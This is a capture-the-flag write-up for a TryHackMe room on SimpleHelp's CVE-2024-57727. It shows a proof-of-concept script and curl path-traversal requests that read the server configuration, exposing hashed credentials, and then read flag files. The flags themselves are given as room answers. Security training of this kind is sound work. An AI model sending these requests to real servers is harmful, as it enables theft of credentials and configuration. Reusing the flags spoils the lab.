# Try Hack Me/SimpleHelp

## Write-up / THM / SimpleHelp: CVE-2024-57727

by: alfreddgreat

Get the python script for POC for the vulnerability in https://github.com/imjdl/CVE-2024-57727.

**root@ip-10-10-65-98:~# git clone https://github.com/imjdl/CVE-2024-57727**

Change directory to the downloaded CVE folder.

**root@ip-10-10-65-98:~/CVE-2024-57727# cd CVE-2024-57727/**

Run the following python script.

**root@ip-10-10-65-98:~/CVE-2024-57727# python3 poc.py http://10.10.32.37**

```
root@ip-10-10-65-98:~/CVE-2024-57727# python3 poc.py http://10.10.32.37
[+] http://10.10.32.37 is vulnerable
```

Check the poc.py script

```
def send_path_traversal_request(url: str) -> bool:    """    Send a path traversal request and get the response        Args:        url (str): Target url address    Returns:        dict: Dictionary containing response information, including status code, response content, etc.        None: Returns None if request fails    """    url = url + "/toolbox-resource/../resource1/../../configuration/serverconfig.xml"    context = ssl._create_unverified_context()    # Default request headers    default_headers = {    'Accept-Encoding': 'gzip, deflate, br',        'Accept': '*/*',        'Connection': 'keep-alive'    }
```

**root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.32.37/toolbox-resource/../resource1/../../configuration/serverconfig.xml**

```
root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.32.37/t
oolbox-resource/../resource1/../../configuration/serverconfig.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!--
   SimpleHelp Server XML Configuration File

   The encoding of this file is UTF-8.
-->
<SimpleSuite v="5.5.5" s="mKMGkmu2n+gxxrJ5CdCMQj8MAVu52Lq97Q==">
        <ServerFeatures>
                <RemoteAccess>on</RemoteAccess>
                <RemoteSupport>on</RemoteSupport>
                <Presentation>on</Presentation>
                <MobileAccess>on</MobileAccess>
                <RemoteWork>on</RemoteWork>
                <Tools>on</Tools>
                <ServiceRecovery>on</ServiceRecovery>
        </ServerFeatures>
        <DetailsList>
                <CUIField type="textfield" width="100" label="Name">
                        <Remember>true</Remember>
                        <Visible>true</Visible>
                </CUIField>
                <CUIField type="textfield" width="100" label="Company">
                        <Remember>true</Remember>
                        <Visible>true</Visible>
                </CUIField>
        </DetailsList>
        <HashPassword>6TPdbtd8qtXv+fbBaCWoeoo3QsLF2aku3w==:shY1zrtYA+dnnPqV1
NPB860t8Ig=</HashPassword>
        <SslKeystore>
                <SecureKeystoreStorePasswordv2>mKMGkmu2n+gxxrJ5CdCMQj8MAVu52
```

**root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.32.37/toolbox-resource/../resource1/../../configuration/flag.txt**

```
root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.32.37/toolbox-resource/../resource1/../../configuration/flag.txt

THM{9ND23PVA}

"Choose your path wisely, but your shoes comfortably."

"Traverse lightly, laugh loudly."
```

**THM{9ND23PVA}**

**root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.189.219/toolbox-resource/../secmsg/../../configuration/flag.txt**

```
root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.189.219/toolbox-resource/../secmsg/../../configuration/flag.txt

THM{X8733EEZ}



"Some paths are meant to be traversed; others just lead to a 404."
```

**THM{X8733EEZ}**

Revision #20
Created 18 October 2024 01:41:50 by alfreddgreat
Updated 1 April 2025 18:34:26 by Admin